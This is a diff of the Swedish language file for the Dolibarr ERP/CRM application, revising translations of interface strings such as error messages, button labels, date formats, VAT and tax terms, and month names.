-ErrorYourCountryIsNotDefined=Ditt land är inte definierat. Gå till Hem-Setup-Redigera och skicka formuläret igen. -ErrorRecordIsUsedByChild=Misslyckades med att radera den här posten. Denna post används av minst en barnpost. +ErrorYourCountryIsNotDefined=Ditt land har inte angivits. Gå till Start-Inställningar-Redigera och skicka formuläret igen. +ErrorRecordIsUsedByChild=Misslyckades med att radera den här posten. Denna post används av minst en underordnadpost. ErrorWrongValue=Fel värde ErrorWrongValueForParameterX=Felaktigt värde för parametern %s -ErrorNoRequestInError=Ingen begäran av misstag +ErrorNoRequestInError=Ingen begäran i felet ErrorServiceUnavailableTryLater=Tjänsten är inte tillgänglig just nu. Försök igen senare. -ErrorDuplicateField=Dublett-värde i ett unikt fält +ErrorDuplicateField=Dublettvärde i ett unikt fält ErrorSomeErrorWereFoundRollbackIsDone=Några fel hittades. Ändringar har rullats tillbaka. -ErrorConfigParameterNotDefined=Parameter %s definieras inte i Dolibarr config-filen conf.php . -ErrorCantLoadUserFromDolibarrDatabase=Det gick inte att hitta användare %s i Dolibarr databas. -ErrorNoVATRateDefinedForSellerCountry=Fel, ingen moms har definierats för landet '%s'. -ErrorNoSocialContributionForSellerCountry=Fel, ingen social / skatteskatt typ definierad för land "%s". -ErrorFailedToSaveFile=Fel, kunde inte spara filen. -ErrorCannotAddThisParentWarehouse=Du försöker lägga till ett förälderlager som redan är ett barn i ett befintligt lager -FieldCannotBeNegative=Fältet "%s" får inte vara negativt -MaxNbOfRecordPerPage=Max. Antal poster per sida +ErrorConfigParameterNotDefined=Parametern %s har inte angivits i Dolibarr konfiguration conf.php. +ErrorCantLoadUserFromDolibarrDatabase=Det gick inte att hitta användaren %s i Dolibarrs databas. +ErrorNoVATRateDefinedForSellerCountry=Fel! Ingen moms har angivits för landet %s. +ErrorNoSocialContributionForSellerCountry=Fel! Ingen momstyp angiven för landet %s. +ErrorFailedToSaveFile=Fel! Kunde inte spara filen. +ErrorCannotAddThisParentWarehouse=Du försöker lägga till ett överordnat lager som redan är underordnat till ett befintligt lager +FieldCannotBeNegative=Fältet %s får inte vara negativt +MaxNbOfRecordPerPage=Max antal poster per sida NotAuthorized=Du har inte behörighet att göra det. -SetDate=Ställ in datum +SetDate=Ange datum SelectDate=Välj datum SeeAlso=Se även %s SeeHere=Se hänvisning @@ -78,65 +85,65 @@ ClickHere=Klicka här Here=Här Apply=Tillämpa BackgroundColorByDefault=Standard bakgrundsfärg -FileRenamed=Filen ändrades med framgång -FileGenerated=Filen lyckades genereras +FileRenamed=Filen har ändrats +FileGenerated=Filen har genererats FileSaved=Filen har sparats FileUploaded=Filen har laddats upp -FileTransferComplete=Fil (er) laddade upp framgångsrikt -FilesDeleted=Fil(erna) har tagits bort -FileWasNotUploaded=En fil är vald att bifogas, men har ännu inte laddats upp. Klicka på 'Bifoga fil' för detta. +FileTransferComplete=Fil (er) har laddats upp +FilesDeleted=Fil(er) har tagits bort +FileWasNotUploaded=En fil är vald att bifoga, men har ännu inte laddats upp. Klicka på Bifoga fil för att ladda upp. NbOfEntries=Antal poster -GoToWikiHelpPage=Läs onlinehjälp (Internet behövs) -GoToHelpPage=Läs hjälpen -DedicatedPageAvailable=Dedicated help page related to your current screen +GoToWikiHelpPage=Läs onlinehjälp (internetåtkomst krävs) +GoToHelpPage=Läs hjälp +DedicatedPageAvailable=Dedikerad hjälpsida relaterat till nuvarande skärmbild HomePage=Webbsida RecordSaved=Post sparades RecordDeleted=Post raderad RecordGenerated=Post skapad LevelOfFeature=Nivå av funktioner -NotDefined=Inte definierat -DolibarrInHttpAuthenticationSoPasswordUseless=Dolibarr-autentiseringsläget är inställt på %s i konfigurationsfilen conf.php .
      Det betyder att lösenordsdatabasen är extern till Dolibarr, så att ändra detta fält kan inte ha någon effekt. +NotDefined=Inte angivet +DolibarrInHttpAuthenticationSoPasswordUseless=Dolibarr-autentiseringsläget är inställt på %s i konfigurationsfilen conf.php.
      Det betyder att lösenordsdatabasen är extern till Dolibarr, så att ändra detta fält kan inte ha någon effekt. Administrator=Administratör Undefined=Odefinierad -PasswordForgotten=Lösenordet glömt? +PasswordForgotten=Glömt lösenord? NoAccount=Inget konto? SeeAbove=Se ovan -HomeArea=Hem +HomeArea=Start LastConnexion=Senaste inloggning -PreviousConnexion=Tidigare inloggning +PreviousConnexion=Senaste inloggning PreviousValue=Föregående värde -ConnectedOnMultiCompany=Ansluten enhet +ConnectedOnMultiCompany=Ansluten på miljö ConnectedSince=Ansluten sedan AuthenticationMode=Autentiseringsläge RequestedUrl=Begärd webbadress -DatabaseTypeManager=Database Type Manager -RequestLastAccessInError=Senaste databasåtkomstförfrågan fel -ReturnCodeLastAccessInError=Returkod för senaste databasåtkomstbegäran -InformationLastAccessInError=Information för senaste databasåtkomstbegäran +DatabaseTypeManager=Hanterare för databastyp +RequestLastAccessInError=Senaste fel för databasåtkomst +ReturnCodeLastAccessInError=Svar vid senaste fel vid databasåtkomst +InformationLastAccessInError=Information för senaste fel vid databas åtkomst DolibarrHasDetectedError=Dolibarr har upptäckt ett tekniskt fel -YouCanSetOptionDolibarrMainProdToZero=Du kan läsa loggfilen eller ange alternativ $ dolibarr_main_prod till '0' i din config-fil för att få mer information. -InformationToHelpDiagnose=This information can be useful for diagnostic purposes (you can set option $dolibarr_main_prod to '1' to hide sensitive information) +YouCanSetOptionDolibarrMainProdToZero=Du kan läsa loggfilen eller ange alternativ $dolibarr_main_prod till '0' i din config-fil för att få mer information. +InformationToHelpDiagnose=Denna informationen kan vara bra för felsökningssyfte (du kan ange $dolibarr_main_prod till '1' för att dölja känslig information) MoreInformation=Mer information TechnicalInformation=Teknisk information TechnicalID=Tekniskt ID -LineID=Linje-ID +LineID=Rad-ID NotePublic=Anteckning (offentlig) NotePrivate=Anteckning (privat) PrecisionUnitIsLimitedToXDecimals=Dolibarr har ställts in för att ange enhetspriser med %s decimaler. DoTest=Test ToFilter=Filter NoFilter=Inget filter -WarningYouHaveAtLeastOneTaskLate=Varning, du har minst ett element som har överskridit tolerans tiden. +WarningYouHaveAtLeastOneTaskLate=Varning, du har minst ett element som har överskridit toleranstiden. yes=ja Yes=Ja no=nej No=Nej All=Alla -Home=Hem +Home=Start Help=Hjälp -OnlineHelp=Online hjälp +OnlineHelp=Onlinehjälp PageWiki=Wiki-sida -MediaBrowser=Media webbläsare +MediaBrowser=Medialäsare Always=Alltid Never=Aldrig Under=under @@ -146,12 +153,12 @@ SelectedPeriod=Vald period PreviousPeriod=Tidigare period Activate=Aktivera Activated=Aktiverat -Closed=Stängt -Closed2=Stängt -NotClosed=Ej stängd +Closed=Stängd +Closed2=Stängd +NotClosed=Inte stängd Enabled=Aktiverat Enable=Aktivera -Deprecated=Föråldrad +Deprecated=Utfasad Disable=Inaktivera Disabled=Inaktiverad Add=Lägg till @@ -160,31 +167,31 @@ RemoveLink=Ta bort länk AddToDraft=Lägg till i utkast Update=Uppdatera Close=Stäng -CloseAs=Ställ in status på -CloseBox=Ta bort widget från din instrumentpanel +CloseAs=Ange status till +CloseBox=Ta bort widget från kontrollpanel Confirm=Bekräfta -ConfirmSendCardByMail=Vill du verkligen skicka innehållet på detta kort via mail till %s ? -Delete=Ta bort -Remove=Ta bort +ConfirmSendCardByMail=Vill du verkligen skicka innehållet på detta kort via e-post till %s? +Delete=Radera +Remove=Radera Resiliate=Avsluta Cancel=Avbryt Modify=Ändra Edit=Redigera Validate=Bekräfta -ValidateAndApprove=Godkänn och bekräft +ValidateAndApprove=Godkänn och bekräfta ToValidate=Att bekräfta NotValidated=Ej bekräftat Save=Spara SaveAs=Spara som SaveAndStay=Spara och stanna -SaveAndNew=Spara och nytt +SaveAndNew=Spara och ny TestConnection=Testa anslutning -ToClone=Klon -ConfirmCloneAsk=Är du säker på att du vill klona objektet %s ? +ToClone=Klona +ConfirmCloneAsk=Är du säker på att du vill klona objektet %s? ConfirmClone=Välj de data du vill klona: -NoCloneOptionsSpecified=Inga uppgifter att klona definierade. +NoCloneOptionsSpecified=Inga uppgifter att klona har angivits. Of=av -Go=Gå +Go=Kör Run=Kör CopyOf=Kopia av Show=Visa @@ -192,39 +199,41 @@ Hide=Dölj ShowCardHere=Visa kort Search=Sök SearchOf=Sök -SearchMenuShortCut=Ctrl + skift + f -QuickAdd=Snabb tillägg -QuickAddMenuShortCut=Ctrl + shift + l +SearchMenuShortCut=Ctrl + Shift + F +QuickAdd=Lägg till snabbt +QuickAddMenuShortCut=Ctrl + Shift + l Valid=Giltig Approve=Godkänn -Disapprove=Ogilla -ReOpen=Öppnar igen +Disapprove=Neka +ReOpen=Öppna igen +OpenVerb=Öppen Upload=Ladda upp ToLink=Länk Select=Välj SelectAll=Välj alla Choose=Välj Resize=Ändra storlek -ResizeOrCrop=Ändra storlek eller beskära -Recenter=Recenter +ResizeOrCrop=Ändra storlek eller beskär +Recenter=Centrera igen Author=Författare User=Användare Users=Användare Group=Grupp Groups=Grupper -UserGroup=User group -UserGroups=User groups -NoUserGroupDefined=Ingen användargrupp är definerad +UserGroup=Användargrupp +UserGroups=Användargrupper +NoUserGroupDefined=Ingen användargrupp är angiven Password=Lösenord -PasswordRetype=Ange ditt lösenord -NoteSomeFeaturesAreDisabled=Observera att en hel del funktioner / moduler är inaktiverade i denna demonstration. +PasswordRetype=Repetera lösenordet +NoteSomeFeaturesAreDisabled=Observera att en hel del funktioner/moduler är inaktiverade i denna demonstration. +YourUserFile=Din användarfil Name=Namn -NameSlashCompany=Namn / Företag +NameSlashCompany=Namn/företag Person=Person Parameter=Parameter Parameters=Parametrar Value=Värde -PersonalValue=Personlig värde +PersonalValue=Personligt värde NewObject=Ny %s NewValue=Nytt värde OldValue=Gammalt värde %s @@ -232,7 +241,7 @@ CurrentValue=Aktuellt värde Code=Kod Type=Typ Language=Språk -MultiLanguage=Multi-språk +MultiLanguage=Flera språk Note=Anteckning Title=Titel Label=Etikett @@ -241,12 +250,12 @@ Info=Logg Family=Familj Description=Beskrivning Designation=Beskrivning -DescriptionOfLine=Beskrivning av linjen +DescriptionOfLine=Beskrivning av raden DateOfLine=Datum för rad -DurationOfLine=Varaktighet av raden -ParentLine=Parent line ID -Model=Doc mall -DefaultModel=Standard doksmall +DurationOfLine=Varaktighet för raden +ParentLine=Överordnad rad-ID +Model=Dokumentmall +DefaultModel=Standard dokumentmall Action=Händelse About=Om Number=Antal @@ -257,9 +266,9 @@ Limit=Gräns Limits=Gränser Logout=Logga ut NoLogoutProcessWithAuthMode=Ingen applikativ koppling funktionen med autentisering läge %s -Connection=Inlogg -Setup=Setup -Alert=Alert +Connection=Logga in +Setup=Inställningar +Alert=Varning MenuWarnings=Varningar Previous=Föregående Next=Nästa @@ -269,40 +278,40 @@ Now=Nu HourStart=Start timme Deadline=Deadline Date=Datum -DateAndHour=Datum och timme +DateAndHour=Datum och klockslag DateToday=Dagens datum DateReference=Referensdatum DateStart=Startdatum DateEnd=Slutdatum DateCreation=Datum för skapande -DateCreationShort=Creat. datum +DateCreationShort=Skapandedatum IPCreation=Skapande IP DateModification=Ändringsdatum DateModificationShort=Ändr. datum IPModification=Ändring IP DateLastModification=Senaste ändringsdatum DateValidation=Bekräftelsesdatum -DateSigning=Underteckningsdatum +DateSigning=Signeringsdatum DateClosing=Sista dag DateDue=Förfallodag -DateValue=Valuteringsdag -DateValueShort=Valuteringsdag -DateOperation=Operation datum -DateOperationShort=Oper. Datum +DateValue=Värderingsdag +DateValueShort=Värderingsdag +DateOperation=Utförandedatum +DateOperationShort=Utf. datum DateLimit=Begränsa datum -DateRequest=Begär datum -DateProcess=Process datum +DateRequest=Förfrågningsdatum +DateProcess=Processdatum DateBuild=Rapportera byggdatum DatePayment=Datum för betalning DateApprove=Godkännandedatum DateApprove2=Godkännandedatum (andra godkännande) -RegistrationDate=Registrerings datum -UserCreation=Skapande användare -UserModification=Modifieringsanvändare -UserValidation=Bekräftelsesanvändare -UserCreationShort=Creat. användare -UserModificationShort=Modif. användare -UserValidationShort=Giltig. användare +RegistrationDate=Registreringsdatum +UserCreation=Skapade användare +UserModification=Ändrade användare +UserValidation=Godkände användare +UserCreationShort=Skap. anv. +UserModificationShort=Ändr. anv. +UserValidationShort=Godk. anv. DurationYear=år DurationMonth=månad DurationWeek=vecka @@ -337,15 +346,15 @@ MonthOfDay=Dagens månad DaysOfWeek=Veckodagar HourShort=H MinuteShort=mn -Rate=Sats -CurrencyRate=Valutaomräkningskurs -UseLocalTax=Inkludera skatt +Rate=Kurs +CurrencyRate=Valutakurs +UseLocalTax=Inkludera moms Bytes=Bytes KiloBytes=Kilobyte MegaBytes=Megabyte GigaBytes=Gigabyte TeraBytes=Terabyte -UserAuthor=Created by +UserAuthor=Skapad av UserModif=Uppdaterad av b=b. Kb=Kb @@ -357,43 +366,43 @@ Copy=Kopiera Paste=Klistra in Default=Standard DefaultValue=Standardvärde -DefaultValues=Standardvärden / filter / sortering +DefaultValues=Standardvärden/filter/sortering Price=Pris PriceCurrency=Pris (valuta) UnitPrice=Pris per enhet UnitPriceHT=Enhetspris (exkl.) -UnitPriceHTCurrency=Enhetspris (exkl.) (Valuta) +UnitPriceHTCurrency=Enhetspris (exkl.) (valuta) UnitPriceTTC=Pris per enhet PriceU=Styckpris -PriceUHT=St.pris(net) -PriceUHTCurrency=U.P (netto) (valuta) -PriceUTTC=UPP. (inkl. skatt) +PriceUHT=Styckepris (netto) +PriceUHTCurrency=Styckepris (netto) (valuta) +PriceUTTC=Styckepris (inkl. moms) Amount=Belopp AmountInvoice=Fakturabelopp -AmountInvoiced=Belopp fakturerat -AmountInvoicedHT=Fakturerat belopp (exkl. Moms) -AmountInvoicedTTC=Fakturerat belopp (inkl. Moms) -AmountPayment=Betalningsbelopp -AmountHTShort=Belopp (exkl.) -AmountTTCShort=Belopp (inkl. moms) -AmountHT=Belopp (exkl. Skatt) -AmountTTC=Belopp (inkl. moms) -AmountVAT=Belopp moms +AmountInvoiced=Fakturerat belopp +AmountInvoicedHT=Fakturerat belopp (exkl. moms) +AmountInvoicedTTC=Fakturerat belopp (inkl. moms) +AmountPayment=Att betala +AmountHTShort=Att betala (exkl.) +AmountTTCShort=Att betala (inkl. moms) +AmountHT=Att betala (exkl. moms) +AmountTTC=Att betala (inkl. moms) +AmountVAT=Moms MulticurrencyAlreadyPaid=Redan betalad, ursprunglig valuta -MulticurrencyRemainderToPay=Fortsätt att betala, ursprunglig valuta -MulticurrencyPaymentAmount=Betalningsbelopp, ursprunglig valuta -MulticurrencyAmountHT=Belopp (exkl. Skatt), ursprunglig valuta -MulticurrencyAmountTTC=Belopp (inkl. Skatt), ursprunglig valuta -MulticurrencyAmountVAT=Belopp skatt, ursprunglig valuta +MulticurrencyRemainderToPay=Återstår att betala, ursprunglig valuta +MulticurrencyPaymentAmount=Att betala, ursprunglig valuta +MulticurrencyAmountHT=Belopp (exkl. moms), ursprunglig valuta +MulticurrencyAmountTTC=Belopp (inkl. moms), ursprunglig valuta +MulticurrencyAmountVAT=Moms, ursprunglig valuta MulticurrencySubPrice=Belopp delpris flera valutor -AmountLT1=Belopp skatt 2 -AmountLT2=Belopp skatt 3 +AmountLT1=Belopp moms 2 +AmountLT2=Belopp moms 3 AmountLT1ES=Belopp RE AmountLT2ES=Belopp IRPF -AmountTotal=Summa +AmountTotal=Totalt belopp AmountAverage=Genomsnittligt belopp -PriceQtyMinHT=Pris kvantitet min. (exkl. skatt) -PriceQtyMinHTCurrency=Pris kvantitet min. (exkl. skatt) (valuta) +PriceQtyMinHT=Pris kvantitet min. (exkl. moms) +PriceQtyMinHTCurrency=Pris kvantitet min. (exkl. moms) (valuta) PercentOfOriginalObject=Procent av originalobjektet AmountOrPercent=Belopp eller procent Percentage=Procent @@ -401,26 +410,26 @@ Total=Summa SubTotal=Delsumma TotalHTShort=Totalt (exkl.) TotalHT100Short=Totalt 100%% (exkl.) -TotalHTShortCurrency=Totalt (exkl. I valuta) -TotalTTCShort=Summa (inkl. moms) -TotalHT=Totalt (exkl. Skatt) -TotalHTforthispage=Totalt (exkl. Skatt) för denna sida +TotalHTShortCurrency=Totalt (exkl. i valuta) +TotalTTCShort=Totalt (inkl. moms) +TotalHT=Totalt (exkl. moms) +TotalHTforthispage=Totalt (exkl. moms) för denna sida Totalforthispage=Totalt för denna sida -TotalTTC=Summa (inkl. moms) -TotalTTCToYourCredit=Summa kredit (inkl. moms) +TotalTTC=Totalt (inkl. moms) +TotalTTCToYourCredit=Totalt (inkl. moms) för kreditering TotalVAT=Summa moms TotalVATIN=Totalt IGST -TotalLT1=Summa skatt 2 -TotalLT2=Summa skatt 3 +TotalLT1=Summa moms 2 +TotalLT2=Summa moms 3 TotalLT1ES=Totalt RE TotalLT2ES=Totalt IRPF TotalLT1IN=Totalt CGST TotalLT2IN=Totalt SGST -HT=Exkl. beskatta +HT=Exkl. moms TTC=Inkl. moms -INCVATONLY=Inc. moms -INCT=Inc. alla skatter -VAT=Moms +INCVATONLY=Inkl. moms +INCT=Inkl. moms och skatt +VAT=Försäljningsskatt VATIN=IGST VATs=Försäljningsskatt VATINs=IGST skatter @@ -433,18 +442,18 @@ LT2ES=IRPF LT1IN=CGST LT2IN=SGST LT1GC=Extra cent -VATRate=Mervärdesskattesats -RateOfTaxN=Skattesats %s -VATCode=Skattesatsskod -VATNPR=Skattesats NPR -DefaultTaxRate=Standard skattesats +VATRate=Momssats +RateOfTaxN=Momssats %s +VATCode=Momssats kod +VATNPR=Momssats NPR +DefaultTaxRate=Standard momssats Average=Genomsnittlig Sum=Summa Delta=Delta StatusToPay=Att betala -RemainToPay=Fortsätt att betala -Module=Modul / applikation -Modules=Moduler / Applications +RemainToPay=Återstår att betala +Module=Modul/applikation +Modules=Moduler/applikationer Option=Alternativ Filters=Filter List=Lista @@ -457,12 +466,12 @@ Favorite=Favorit ShortInfo=Info Ref=Ref. ExternalRef=Ref. extern -RefSupplier=Ref. Säljare +RefSupplier=Ref. säljare RefPayment=Ref. betalning -CommercialProposalsShort=Kommersiella förslag +CommercialProposalsShort=Offerter Comment=Kommentar Comments=Kommentarer -ActionsToDo=Åtgärder att göra +ActionsToDo=Händelser att göra ActionsToDoShort=Att göra ActionsDoneShort=Klar ActionNotApplicable=Ej tillämpligt @@ -471,40 +480,41 @@ ActionRunningShort=Pågående ActionDoneShort=Färdiga ActionUncomplete=Ofullständig LatestLinkedEvents=Senaste %s länkade händelserna -CompanyFoundation=Företag / Organisation +CompanyFoundation=Företag/organisation Accountant=Revisor -ContactsForCompany=Kontakter till denna tredje part -ContactsAddressesForCompany=Kontakter / adresser för denna tredje part -AddressesForCompany=Adresser för denna tredje part -ActionsOnCompany=Evenemang för denna tredje part -ActionsOnContact=Händelser för denna kontakt / adress +ContactsForCompany=Kontakter till denna tredjepart +ContactsAddressesForCompany=Kontakter/adresser för denna tredjepart +AddressesForCompany=Adresser till denna tredjepart +ActionsOnCompany=Händelser för denna tredjepart +ActionsOnContact=Händelser för denna kontakt/adress ActionsOnContract=Händelser för detta kontrakt -ActionsOnMember=Händelser om denna medlem -ActionsOnProduct=Händelser om denna produkt -NActionsLate=%s sent +ActionsOnMember=Händelser runt denna medlem +ActionsOnProduct=Händelser runt denna produkt +ActionsOnAsset=Händelser för denna anläggningstillgång +NActionsLate=%s försenad ToDo=Att göra Completed=Avslutad Running=Pågående RequestAlreadyDone=Begär redan registrerats Filter=Filter -FilterOnInto=Sökkriterier ' %s ' i fält %s -RemoveFilter=Ta bort filtret +FilterOnInto=Sökkriterier %s i fält %s +RemoveFilter=Ta bort filter ChartGenerated=Diagram genererat ChartNotGenerated=Diagram ej genererat GeneratedOn=Byggd den %s Generate=Generera -Duration=Längd -TotalDuration=Total längd +Duration=Varaktighet +TotalDuration=Total varaktighet Summary=Sammanfattning DolibarrStateBoard=Databasstatistik -DolibarrWorkBoard=Öppna föremål +DolibarrWorkBoard=Öppna objekt NoOpenedElementToProcess=Inget öppet element att bearbeta -Available=Tillgängliga +Available=Tillgängligt NotYetAvailable=Ännu inte tillgängligt -NotAvailable=Inte tillgänglig -Categories=Taggar / kategorier -Category=Tag / kategori -By=Genom att +NotAvailable=Inte tillgängligt +Categories=Taggar/kategorier +Category=Tagg/kategori +By=Av From=Från FromDate=Från FromLocation=Från @@ -516,59 +526,59 @@ at=på and=och or=eller Other=Andra -Others=Övrigt +Others=Andra OtherInformations=Övrig information -Workflow=Workflow -Quantity=Kvantitet -Qty=Antal +Workflow=Arbetsflöde +Quantity=Antal +Qty=Ant. ChangedBy=Ändrad av ApprovedBy=Godkänd av ApprovedBy2=Godkänd av (andra godkännande) Approved=Godkänd -Refused=Refused +Refused=Nekad ReCalculate=Uppdatera beräkning ResultKo=Misslyckande Reporting=Rapportering Reportings=Rapportering Draft=Utkast Drafts=Utkast -StatusInterInvoiced=faktureras -Validated=Bekräftat -ValidatedToProduce=Validerad (att producera) +StatusInterInvoiced=Fakturerad +Validated=Bekräftad +ValidatedToProduce=Bekräftad (att producera) Opened=Öppen -OpenAll=Öppna alla) -ClosedAll=Stängt (Alla) +OpenAll=Öppna (alla) +ClosedAll=Stängd (alla) New=Ny Discount=Rabatt Unknown=Okänd General=Allmänt Size=Storlek OriginalSize=Originalstorlek -Received=Mottagna +Received=Mottagen Paid=Betald Topic=Ämne -ByCompanies=Av tredje part +ByCompanies=Av tredjepart ByUsers=Av användaren Links=Länkar Link=Länk -Rejects=Rejects +Rejects=Nekanden Preview=Förhandsgranska NextStep=Nästa steg Datas=Data None=Ingen NoneF=Ingen NoneOrSeveral=Ingen eller flera -Late=Sent -LateDesc=Ett objekt definieras som Fördröjd enligt systemkonfigurationen i menyn Hem - Inställningar - Varningar. +Late=Försenad +LateDesc=Ett objekt anges som Fördröjd enligt systemkonfigurationen i menyn Start - Inställningar - Varningar. NoItemLate=Inga sena föremål Photo=Bild Photos=Bilder AddPhoto=Lägg till bild DeletePicture=Ta bort bild ConfirmDeletePicture=Bekräfta ta bort bild? -Login=Inloggning +Login=Logga in LoginEmail=Logga in (e-post) -LoginOrEmail=Logga in eller E-post +LoginOrEmail=Inloggningsnamn eller e-postadress CurrentLogin=Nuvarande inloggning EnterLoginDetail=Ange inloggningsuppgifter January=Januari @@ -593,7 +603,7 @@ Month07=Juli Month08=Augusti Month09=September Month10=Oktober -Month11=november +Month11=November Month12=December MonthShort01=Jan MonthShort02=Feb @@ -601,7 +611,7 @@ MonthShort03=Mar MonthShort04=Apr MonthShort05=Maj MonthShort06=Jun -MonthShort07=Juli +MonthShort07=Jul MonthShort08=Aug MonthShort09=Sep MonthShort10=Okt @@ -610,23 +620,23 @@ MonthShort12=Dec MonthVeryShort01=J MonthVeryShort02=F MonthVeryShort03=M -MonthVeryShort04=en +MonthVeryShort04=A MonthVeryShort05=M MonthVeryShort06=J MonthVeryShort07=J -MonthVeryShort08=en +MonthVeryShort08=A MonthVeryShort09=S MonthVeryShort10=O MonthVeryShort11=N MonthVeryShort12=D AttachedFiles=Bifogade filer och dokument JoinMainDoc=Gå med i huvuddokumentet -JoinMainDocOrLastGenerated=Send the main document or the last generated one if not found -DateFormatYYYYMM=ÅÅÅÅ-MM -DateFormatYYYYMMDD=ÅÅÅÅ-MM-DD -DateFormatYYYYMMDDHHMM=ÅÅÅÅ-MM-DD HH:SS -ReportName=Rapport namn -ReportPeriod=Rapportperiodens utgång +JoinMainDocOrLastGenerated=Skicka standarddokumentet eller det senast genererade om inget funnet. +DateFormatYYYYMM=YYYY-MM +DateFormatYYYYMMDD=YYYY-MM-DD +DateFormatYYYYMMDDHHMM=YYYY-MM-DD HH:SS +ReportName=Rapportnamn +ReportPeriod=Rapportperiod ReportDescription=Beskrivning Report=Rapport Keyword=Nyckelord @@ -634,60 +644,60 @@ Origin=Ursprung Legend=Legend Fill=Fyll Reset=Återställ -File=Arkiv +File=Fil Files=Filer NotAllowed=Inte tillåtet ReadPermissionNotAllowed=Läsbehörighet är inte tillåten -AmountInCurrency=Belopp i %s valuta +AmountInCurrency=Belopp i valutan %s Example=Exempel -Examples=Exempel på +Examples=Exempel NoExample=Inga exempel FindBug=Rapportera ett fel -NbOfThirdParties=Antal tredje parter +NbOfThirdParties=Antal tredjeparter NbOfLines=Antal rader NbOfObjects=Antal objekt -NbOfObjectReferers=Antal relaterade föremål -Referers=Relaterade saker -TotalQuantity=Total kvantitet +NbOfObjectReferers=Antal relaterade objekt +Referers=Relaterade objekt +TotalQuantity=Totalt antal DateFromTo=Från %s till %s DateFrom=Från %s -DateUntil=Fram %s -Check=Kontrollera +DateUntil=Till %s +Check=Markera Uncheck=Avmarkera -Internal=Interna +Internal=Intern External=Extern Internals=Interna -Externals=Extern +Externals=Externa Warning=Varning Warnings=Varningar -BuildDoc=Bygg Doc -Entity=Entity +BuildDoc=Bygg dokument +Entity=Miljö Entities=Enheter -CustomerPreview=Kunden förhandsgranska -SupplierPreview=Leverantörsförhandsgranskning -ShowCustomerPreview=Visa kunden förhandsgranskning -ShowSupplierPreview=Visa leverantörsförhandsvisning -RefCustomer=Ref. kund -InternalRef=Intern referens +CustomerPreview=Förhandsgranska kund +SupplierPreview=Förhandsgranska leverantör +ShowCustomerPreview=Visa förhandsgranskning som kund +ShowSupplierPreview=Visa förhandsgranskning som leverantör +RefCustomer=Kundref. +InternalRef=Intern ref. Currency=Valuta InfoAdmin=Information för administratörer Undo=Ångra Redo=Gör om ExpandAll=Expandera alla UndoExpandAll=Ångra expandera -SeeAll=Se allt +SeeAll=Visa alla Reason=Orsak -FeatureNotYetSupported=Funktionen inte stöds ännu +FeatureNotYetSupported=Funktionen stöds inte ännu CloseWindow=Stäng fönster Response=Svar Priority=Prioritet SendByMail=Skicka via e-post MailSentBy=E-post skickas med -NotSent=Skickades inte -TextUsedInTheMessageBody=E-organ +NotSent=Inte skickat +TextUsedInTheMessageBody=Sidkropp e-post SendAcknowledgementByMail=Skicka bekräftelsemail SendMail=Skicka e-post -Email=epost +Email=E-post NoEMail=Ingen e-post AlreadyRead=Redan läst NotRead=Oläst @@ -696,49 +706,49 @@ Owner=Ägare FollowingConstantsWillBeSubstituted=Följande konstanter kommer att ersätta med motsvarande värde. Refresh=Uppdatera BackToList=Tillbaka till listan -BackToTree=Tillbaka till trädet -GoBack=Gå tillbaka +BackToTree=Tillbaka till träd +GoBack=Bakåt CanBeModifiedIfOk=Kan ändras om det är giltigt CanBeModifiedIfKo=Kan ändras om inte giltigt ValueIsValid=Värdet är giltigt ValueIsNotValid=Värdet är inte giltigt -RecordCreatedSuccessfully=Spela in skapad framgångsrikt -RecordModifiedSuccessfully=Post ändrades korrekt -RecordsModified=%s post (er) modifierad -RecordsDeleted=%s post (er) raderade -RecordsGenerated=%s skapade skivor +RecordCreatedSuccessfully=Post har skapats +RecordModifiedSuccessfully=Post har ändrats +RecordsModified=%s post(er) ändrade +RecordsDeleted=%s post(er) raderade +RecordsGenerated=%s post(er) genererade AutomaticCode=Automatisk kod -FeatureDisabled=Funktion avstängd -MoveBox=Flytta widgeten -Offered=Erbjuds +FeatureDisabled=Funktionen inaktiverad +MoveBox=Flytta widget +Offered=Offererats NotEnoughPermissions=Du har inte behörighet för denna åtgärd -UserNotInHierachy=This action is reserved to the supervisors of this user -SessionName=Session namn +UserNotInHierachy=Denna åtgärd är till för handläggare för användaren +SessionName=Sessionens namn Method=Metod Receive=Ta emot -CompleteOrNoMoreReceptionExpected=Komplet eller inget mer förväntat +CompleteOrNoMoreReceptionExpected=Komplett eller inget mer förväntat ExpectedValue=Förväntat värde ExpectedQty=Förväntat antal -PartialWoman=Partiell +PartialWoman=Deelvis TotalWoman=Totalt -NeverReceived=Aldrig fick -Canceled=Annullerad +NeverReceived=Fick aldrig +Canceled=Avbruten YouCanChangeValuesForThisListFromDictionarySetup=Du kan ändra värden för den här listan från menyn Inställningar - Ordböcker YouCanChangeValuesForThisListFrom=Du kan ändra värden för den här listan från menyn %s YouCanSetDefaultValueInModuleSetup=Du kan ange det standardvärde som används när du skapar en ny post i modulinställningen Color=Färg Documents=Länkade filer Documents2=Dokument -UploadDisabled=Uppladdning avaktiverad +UploadDisabled=Uppladdning inaktiverad MenuAccountancy=Redovisning MenuECM=Dokument MenuAWStats=AWStats MenuMembers=Medlemmar MenuAgendaGoogle=Google dagordning -MenuTaxesAndSpecialExpenses=Skatter | Särskilda utgifter -ThisLimitIsDefinedInSetup=Dolibarr gräns (meny hem-inställning-säkerhet): %s Kb, PHP gräns: %s Kb -ThisLimitIsDefinedInSetupAt=Dolibarr-gräns (meny %s): %s Kb, PHP-gräns (Param %s): %s Kb -NoFileFound=Inga dokument laddade upp +MenuTaxesAndSpecialExpenses=Moms för särskilda utgifter +ThisLimitIsDefinedInSetup=Dolibarr begränsning (meny Start-Inställningar-Säkerhet): %s Kb, PHP gräns: %s Kb +ThisLimitIsDefinedInSetupAt=Dolibarr begränsning (meny %s): %s Kb, PHP-gräns (Param %s): %s Kb +NoFileFound=Inga dokument laddades upp CurrentUserLanguage=Nuvarande språk CurrentTheme=Nuvarande tema CurrentMenuManager=Nuvarande menyhanterare @@ -751,43 +761,43 @@ ForCustomer=För kund Signature=Namnteckning DateOfSignature=Datum för underskrift HidePassword=Visa kommando med dolt lösenord -UnHidePassword=Visa riktiga kommandot med lösenord i klartext +UnHidePassword=Visa kommandot med lösenord i klartext Root=Root -RootOfMedias=Rot av offentliga medier (/medias) +RootOfMedias=Root för offentlig media (/medias) Informations=Information Page=Sida Notes=Anteckningar AddNewLine=Lägg till ny rad AddFile=Lägg till fil FreeZone=Fritextprodukt -FreeLineOfType=Fri text text, typ: -CloneMainAttributes=Klona objekt med dess viktigaste attribut +FreeLineOfType=Fritext objekt, typ: +CloneMainAttributes=Klona objekt med dess huvudattribut ReGeneratePDF=Återskapa PDF 